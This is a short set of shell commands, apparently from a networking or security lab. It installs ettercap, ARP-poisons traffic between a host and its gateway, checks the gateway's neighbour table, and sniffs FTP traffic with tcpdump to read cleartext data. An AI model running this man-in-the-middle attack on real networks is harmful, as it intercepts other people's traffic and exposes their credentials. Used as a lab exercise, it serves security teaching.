lan# apt install ettercap-text-only
gate# ip n | grep 192.168.100+X.10N lan# ettercap -T -M arp //192.168.100+X.10N// //192.168.100+X.1// gate# ip n | grep 192.168.100+X.10N lan# tcpdump -n -s0 -A port 21 lan# tcpdump -nvvv port 21